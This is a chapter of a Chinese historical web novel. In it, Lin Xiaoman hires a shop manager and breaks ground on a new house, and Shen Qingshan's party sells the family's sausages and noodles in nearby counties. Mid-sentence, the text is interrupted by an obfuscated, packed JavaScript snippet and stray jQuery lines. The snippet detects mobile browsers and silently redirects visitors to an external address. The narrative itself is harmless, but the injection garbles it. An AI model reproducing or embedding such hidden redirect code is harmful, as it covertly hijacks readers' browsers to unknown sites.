铺子外,门檐下那块“招掌柜,待遇优厚”的木牌已经在风中摇曳了两天。虽说偶有人前来打听,可林小满细细见过之后,总觉得不甚满意。这些人要么是经验不足,要么是举止轻浮,总差了些火候。
这日,林小满又如往常一般,趴在柜台上,双手支着下巴,眉头微蹙,满脸愁容。正在此时,来客楼的吴掌柜掀帘而入,见到林小满脸上的愁云,不禁微微一笑,道:“林掌柜,这是还没遇上合意的人?”
林小满一见是吴掌柜,连忙起身,拱手笑道:“吴掌柜,快请坐。”又回头吩咐伙计:“赶紧沏壶好茶来。”待吴掌柜坐下,林小满轻叹一声,道:“唉,招伙计倒是容易,可这招掌柜的,难如登天啊。吴掌柜今日来,可是有什么合适的人推荐?”
吴掌柜端起茶盏,轻轻啜了一口,点头道:“正是。我有个老友,早年在京城酒楼,做的是掌柜的差事,为人精明强干,处事老道。只是后来,他东家的小舅子眼红他那掌柜之位,硬生生将他挤兑走了。他一气之下,带着家眷回了咱们镇上。林掌柜若是不嫌弃,我明日便叫他来与你一见。我这朋友在京城酒楼干了十来年,经验丰富,品行端方,定不会让你失望。”
林小满一听,眼睛顿时亮了起来,脸上的愁云一扫而光,喜道:“那可真是太好了!有吴掌柜亲自推荐,我还有什么不放心的。”
两人又闲话几句,林小满本想留吴掌柜吃饭,以表谢意,但吴掌柜因有事在身,婉言谢绝,便先行告辞了。
次日,林小满早早便在铺中等候。果然,吴掌柜的那位好友王之临如约而至。林小满一见之下,心中暗喜,这王之临果然如吴掌柜所言,举止稳重,谈吐有度,对酒楼经营之事也是头头是道。两人交谈片刻,林小满对王之临的初印象极好,王之临对林记砂锅铺的前景也颇为看好。
于是,两人一拍即合,当场签下了契约,王之临正式成为林记砂锅的掌柜。自此,林小满不用再天天往镇上跑,省了不少心力。他也能腾出功夫,回到村中,专心筹备建房动土的事宜。
动土之日,天色微曦,晨雾尚未散尽,林小满便早早起身,穿戴整齐。按照曹工匠事先的叮嘱,旁边的空地上早已设好供桌,桌上整齐地摆放着三牲祭品、美酒礼器,以及一把被红布紧紧缠绕的锄头,旁边还置有一柄鲁班尺,象征着匠人们的虔诚与敬意。
时辰一到,曹工匠手持一炷燃香,神色肃穆,缓步上前,点燃香火,插于供桌香炉之中。他面向四方,恭敬地祭拜土地神,口中念念有词,祈求神灵庇佑,保此地平安,工程顺利。随后,他展开祝文,高声诵道:“兴工动土,神灵护佑,祈福避祸,万事亨通。”
林小满依照曹工匠的指引,接过那把系着红布的锄头,心中默祷,缓缓挖下第一锹土。这一锹土,象征着新宅的奠基,也寄托着林家对未来美好生活的期盼。
接着,曹工匠亲自在墙角埋下“镇宅符”,符中包裹着铜钱、朱砂、五谷等物,以求驱邪避凶,保家宅安宁。随着镇宅符的埋下,新宅的建设正式拉开帷幕。
工地上,匠人们开始忙碌起来,敲打声、吆喝声此起彼伏,一片热火朝天的景象。林小满站在一旁,望着这繁忙的景象,心中涌起无限感慨。
自打林小满从昏迷中苏醒,已匆匆半载。这半年时光,虽忙碌不已,却也充满了欢喜与满足。他们齐心合力制腊肠,做粉条,摆摊子,开铺子,现在终于可以把他最初的愿望,建个青砖四合院实现了,这些日子以来,虽然忙碌,却也开心。只是,心中仍不免挂念那远行的青山哥一行。不知他们走商的路途是否顺遂,是否一切平安。那些我们亲手制作的腊肠、粉条和果酱,是否如愿售卖出去
沈青山一行人马不停蹄,自清晨出发,约半日便抵达了离得最近的临安县。但见这县城虽不大,却熙熙攘攘,街市热闹非凡。众人一路风尘仆仆,稍作整顿后,寻了一家价格公道的客栈,包下一间宽敞的通铺。简单用了些饭食,略作歇息,沈青山便吩咐众人分头行事。
此时,日头尚高,年轻的小伙子们正是血气方刚、敢闯敢拼的年纪。他们领了沈青山的差遣,毫不迟疑,纷纷走上街头巷尾,打听县中各处酒楼、食肆的详情。他们脚步轻快,穿行于茶坊酒肆之间,不辞辛劳,仔细探听各家店铺所卖的食物、位置及规模。日影西斜时,众人陆续返回客栈,脸上带着疲色,却也透着几分兴奋。
待到天色渐暗,屋内灯火初上,众人齐聚一堂,围着沈青山,将自己探得的消息一一禀报。有人言某酒楼菜肴精美,客似云来;有人报某食肆位置极佳,客流不绝。众人各抒己见,沈青山则凝神静听,不时提笔在纸上圈点记录。
夜渐深,屋内却灯火通明。沈青山根据众人所报,仔细筛选,列出了一份有可能收购他们带来的腊肠等物的酒楼、食肆名单。他心中已有计较,预备翌日便按图索骥,逐一拜访这些店铺,亲自上门推荐自家货物,争取他们的订单,不负此行。
第二日破晓,沈青山早早收拾妥当,携着几盒精心包好的礼品,带着一行人前往县衙。虽说此行未能得见县太爷及师爷的真容,但礼数周到,也算全了人情。
礼送毕,沈青山率众出发,前往城中大大小小的酒楼、食肆。起初,随行的年轻人显得颇为拘谨,手脚放不开,连话也不敢大声说,更不敢正视他人。沈青山看在眼里,微微一笑,便与王铁柱一同亲自示范,如何与店家攀谈,如何展示货品。
村西头的李同树,素来胆大心细,看了几次沈青山的示范后,心中渐渐有了底气。他略一思忖,便自告奋勇道:“沈大哥,我看明白了,且让我去试试吧。”
沈青山见他信心十足,点头赞赏:“好,同树哥,那就劳烦你打个头阵。”
李同树深吸一口气,仿佛给自己鼓劲一般,接过腊肠与粉条,迈步进了食肆。然而,不多时他便垂头丧气地走了出来,神情颇为失落,显是未谈妥生意。众人尚未及安慰,李同树已振作精神,向沈青山讨了几家食肆的地址,独自又出发了。
众人见状,心中感慨,亦纷纷鼓起勇气,各自讨要了几家食肆的地址,分散开来,各自去历练闯荡。一时间,街头巷尾,随处可见他们忙碌的身影,虽初经世故,但皆怀揣梦想,欲在这纷繁市井中搏一番作为。
这一日,众人虽多有碰壁,然亦有不少收获,心中渐悟沈青山所言:欲见世面,欲赚大钱,终须靠自己本事,方能不虚此行。
临安县与清河镇相去不远,镇上林记砂锅的腊肠与粉条颇有些名声,远近乡民大多知晓。故此今日接下的订单不少,沈青山手持笔墨,一一将各单详情记于纸上。他心中有数,待回村之后,再与众人结算银钱,分毫不差。
其中有些小单子,因货量充足,当场便完成了交割,银货两清。至于那些稍大的单子,则需店铺派遣伙计带着他们特制的条子前往清河村取货。而那些动辄上百斤的订单,按规矩由他们安排人手送货。这些细节早早在契约中写明,双方均无异议。
然而,期间出了一桩小事。有个年轻人经不住买家再三恳求,私自将几斤腊肠以低于市价卖出。此事被沈青山察觉,立时将他叫到跟前,毫不留情地训斥了一番。沈青山再三叮嘱,货品定价须得统一,岂能随意更动?那年轻人自知理亏,满脸通红,垂首无言。他心中明白,差价需得自己补上乃是天经地义,怨不得旁人。其他人见此情景,也暗自警醒,将沈青山立下的规矩深深刻在心中,不敢再有丝毫懈怠。
那被批评的年轻人心中懊悔,默默告诫自己,下不为例,否则此行岂不白费功夫?众人见此,愈发谨言慎行,生怕一不小心步了后尘,自讨没趣。
众人在临安县待了两日,把大大小小的酒楼食肆都跑了个遍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266120|166575||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,便收拾行李往下一个县城去了。
临安县的营生倒是颇为顺遂,此地商贾往来频繁,酒楼食肆亦多有耳闻林记的声名。早先更有那走乡串户的货郎,特意前往购得林记的腊肠粉条,转手以高价售卖,从中牟利。如此一来,林记之名也还有些口碑。
至于其他县城,则不似临安这般容易。风土人情各有不同,买卖之道亦需因地制宜。所幸一行人已积累了些许临安的经验,虽则订单没有临安县的多,然每一单量皆颇为可观,生意倒也渐入佳境。且随着时日推移,订单愈发厚重,虽少却精,收益反而更胜从前。
如此,虽行商他县艰难,然沈青山一行已渐得其法,每每思虑周全,稳步拓展。
清河村内,愈发显得热闹。村中人声鼎沸,车马喧阗,越来越多的伙计手持特质的条子,纷纷前来进货,肩挑车载,络绎不绝。这熙熙攘攘的景象,倒让原本宁静的村落平添了几分市井的繁华。
村中林家的院落里,林小满正忙碌不休。他一边督工,看着新房逐渐成型,一边又心系着腊肠的制作与订单的如期交付。林小满未曾料到,订单竟如雪花般纷至沓来,远超他的预期,让他在欣喜之余,也不免感到几分措手不及。
林家的腊肠如今已有了三种口味供人选择:原味、五香、蒜香,皆是根据当地人的口味偏好精心调配而成。其中,原味腊肠以其醇厚的风味和质朴的口感最为畅销,销量独占鳌头。为了满足这源源不断的需求,林小满所需采购的香料数量也愈发庞大,每次订购都是一大批一大批地运来,不仅数量惊人,品种亦是繁多。
林家所制的腊肠,精选上等食材,工艺考究,无一丝腥膻之气,风味上佳,肉质紧实,令人食之不忘。村中大大小小的商家,眼见林家腊肠如此畅销,无不想方设法窥探其秘诀,试图从中分一杯羹。然则,任凭他们如何窥视,终是不得要领,无法复制林家腊肠的独特风味。
集市上的腊肠摊位虽是愈加繁多,但无论是色泽还是口感,皆难与林家的腊肠相媲美。
话说回来,林家能有今日,实离不开村中众乡亲的鼎力相助。林村长深谙此理,特意安排了壮丁日守在村口,一旦发现形迹可疑、心怀叵测之徒,立时驱赶,绝不让宵小之辈扰了林家的安宁。
再说那林家雇的做工的婶子们,皆是林村长与小满亲自挑选的。个个忠厚老实,手脚勤快,又因事先签订了契约,林家自是信得过她们,不会生出二心。况且这些婶子们也深知,林家待她们不薄,工钱丰厚,逢年过节还有额外赏赐,因此更无背叛之理。
再说那所用香料,皆由林小满亲自调配。每一种原料皆经他细细挑选,反复配比,直至调制出独一无二的香方。这段时日,林小满日夜忙碌于香料之间,手指几乎抬不起来,实在是劳心劳力,辛苦至极。
王氏看着林小满忙前忙后,额上微微渗出细汗,心中一阵酸涩。她着实心疼这孩子,只能帮忙做点小事。本想开口劝他莫要如此辛劳,可转念一看,小满虽是忙碌,眉眼间却带着几分满足的笑意,那劝阻的话便如鲠在喉,怎么也说不出口了。
林小满停下手中活计,抬头正撞上王氏那满含担忧的目光。他心里一暖,随即展颜笑道:“娘,您就放心吧,这几日调配的香料足够用上好一阵子了。再说,我也不是天天都这般忙碌。”
王氏听罢,轻叹一声,语气中尽是怜惜:“你这脸上的气色才好些,现在又瘦了。青山要是瞧见了,定会心疼得不行。”
林小满闻言,故意做出一副夸张的模样,笑着说道:“哎呦,娘,您可千万别告状啊,不然青山哥又要逼着我喝那些苦死人的补药了。我这就去休息,行了吧?”
王氏闻言,这才稍稍放心,柔声道:“好,娘不告状,那你赶紧去洗漱休息吧。”
林小满笑着点了点头,说道:“娘,晚安。”